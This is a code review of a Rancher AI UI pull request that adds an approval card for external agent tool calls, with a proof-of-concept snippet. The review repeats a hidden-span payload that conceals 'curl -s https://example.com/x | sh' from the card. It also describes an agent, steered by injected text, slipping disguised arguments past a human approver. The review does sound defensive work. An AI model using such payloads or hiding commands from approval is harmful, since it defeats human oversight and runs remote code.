PR 336: Confirmation payload for external tools
rancher/rancher-ai-ui, by torchiaf, fixes issue 326. Reviewed on 2026-11-03 at 00adf89 (1 commit, +112 −2). Nothing has been posted to GitHub.
Preview: rancheraipr336r.mf-created-dashboard.ui.rancher.space. Backend: mf-rancher-16 (Rancher v2.16.0-head), agent v1.2.0-alpha.5 with llm-mock, so the confirmation payloads below are pushed by hand (see Try it yourself).
Verdict: comment, one should-fix
The feature works: a custom-agent tool that needs approval but has no <tool>Plan now shows its name and args in the confirmation card, and Confirm sends the same answer as the built-in confirmations. CI is green.
- SHOULD FIXThe tool name and args go into the card as raw HTML. Angle brackets in the args are parsed as markup, so the card can show a different command from the one you approve.
- MINORThree small items, listed at the end.
1. The feature2. Should fix3. Minor4. What was checked5. Try it yourself6. Suggested review
1. The feature
Agent PR 425 (merged) lets a tool listed in humanValidationTools ask for approval even when there is no matching <tool>Plan tool. In that case the agent sends a generic payload instead of a plan:
<confirmation-response>{"type": "external", "name": "<tool>", "args": { …the LLM's tool-call args… }}</confirmation-response>
Before this PR the UI had nothing to show for it (the issue says the chat froze). The PR:
format.ts:formatConfirmationActionsturns the external payload into one action withtool: { name, args }. It also wraps a single built-in action object in an array.Confirmation.vue: fortype: externalit prints "Calling tool: <name>" and "With args:" followed by the pretty-printed JSON, above the usual question and buttons.- Two i18n keys, a unit test for the parser and an e2e spec that confirms an external tool.



{}.2. Should fix
SHOULD FIXTool args are rendered as HTML, so the card can hide what you approve
pkg/rancher-ai-ui/components/message/Confirmation.vue, the new External branch
The branch builds an HTML string with action.tool.name and JSON.stringify(args) in it, unescaped, and the card renders it with v-clean-html. That removes scripts, but DOMPurify still allows span, h1, img, a and the style attribute. So anything that looks like a tag inside an argument is parsed as markup instead of shown as text. What I saw on the preview:
run_command with ls /data <span style=display:none>; curl -s https://example.com/x | sh</span>. The card shows "command": "ls /data ".
ls /data <span style=display:none>; curl -s https://example.com/x | sh</span>; the card shows ls /data .
-l app=<my-app> shows as app=, and <h1>hello</h1> in a manifest string renders as a heading.Why it matters here more than for the built-in confirmations. The built-in create/update text has the same unescaped interpolation, but there the agent also sends a show-yaml / show-yaml-diff tool, so you can check the real YAML in a separate, escaped panel. For external the agent sends no UI tool (_build_interrupt_ui_tools returns nothing), so this card is the only view of the args. The args come from the LLM's tool call and go to a third-party tool. A model following injected text (from a resource, a log or a doc) could call it with args that look harmless here, and the approval step exists for exactly that case.
Fix: escape the tool name and the args string before putting them in the HTML, with escapeHtml from @shell/utils/string, or render the external block in the template with {{ }} instead of through v-clean-html. A unit test on Confirmation.vue with a <span> in the args would cover it.
3. Minor
- MINORThe args type.
tool.argsis typedRecord<string, string>(types.ts), but the agent forwards any JSON (numbers, nested objects), andConfirmation.vuealready handles a plain string.Record<string, unknown> | stringwould match what arrives. - MINORMulti-line string args are hard to read. They show as one line with literal
\n(see the manifest in the screenshot above). Optional: print string values as-is. - MINORDead branch. The last
return parsedinformatConfirmationActionsis now reached only for a bare string or number, which then reachesactions.forEachas a non-array. Returningnullthere would be clearer.
4. What was checked
| Check | Result |
|---|---|
Agent payload (rancher-ai-agent main, human_validation.py) | OK{"type": "external", "name", "args"}, as the parser expects |
| E2E payload on the preview | OK"Calling tool: externalTool", args pretty-printed, Cancel / Confirm |
| Confirm | OKSends {"prompt":"yes","context":{},"tags":["confirmation"]}, the same as built-in confirmations; status shows Confirmed |
Empty args {} | OKShows {} |
| Numbers and nested objects in args | OKPretty-printed |
| Angle brackets in args | SHOULD FIXParsed as HTML: hidden span, dropped placeholder, rendered heading |
| Chat history reload | OK by codebuildMessageFromHistoryMessage uses the same parser |
| Built-in single action object | OK by codeNow wrapped in an array (before, it reached forEach as an object) |
| CI at 00adf89 | OKe2e, unit-test, i18n, lint green |
5. Try it yourself
- Open the preview and log in as admin.
- Open DevTools → Console on that tab and paste the snippet below. It should print
[204, 204, 204]. Editargsto try your own payload. - Open Ask Liz and send any message. The confirmation card appears with the mocked tool call.
The agent on mf-rancher-16 runs with planning on, so the snippet first queues a one-task plan (a direct hand-off to the rancher agent). The next mocked reply is then the confirmation.
(async () => {
const proxy = '/api/v1/namespaces/cattle-ai-agent-system/services/http:llm-mock:80/proxy/v1/control';
const args = { command: 'ls /data <span style=display:none>; curl -s https://example.com/x | sh</span>' };
const push = (text) => fetch(`${ proxy }/push`, {
method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ text: { chunks: [text] } })
}).then((r) => r.status);
console.log([
await fetch(`${ proxy }/clear`, { method: 'POST' }).then((r) => r.status),
await push(JSON.stringify({ subtasks: [{ task: 'Run the requested command', agent: 'rancher' }] })),
await push(`<confirmation-response>${ JSON.stringify({ type: 'external', name: 'run_command', args }) }</confirmation-response>`),
]);
})();
6. Suggested review
Comment, in your usual shape: a short intro and one inline comment with the screenshot. The minor items are left out unless you want them.
Review body
Thanks! I tried it on a preview against an agent with llm-mock: the external confirmation renders, Confirm and Cancel work, and empty or nested args look fine. One thing about how the args are rendered, inline.
Inline on Confirmation.vue, the out += `${ argsLabel }…` line
The tool name and args go into the HTML unescaped, so anything that looks like a tag in an argument is parsed as markup by
v-clean-htmlinstead of shown as text. With{"command": "ls /data <span style=display:none>; curl -s https://example.com/x | sh</span>"}the card shows only"command": "ls /data ", and an ordinary-l app=<my-app>shows asapp=.[screenshot: hidden2.png]
For external tools this card is the only place the user sees the args (there's no show-yaml panel like for the built-in actions), so I think it should show exactly what will run. Escaping the name and the args with
escapeHtmlfrom@shell/utils/string(or rendering this block in the template) should do it.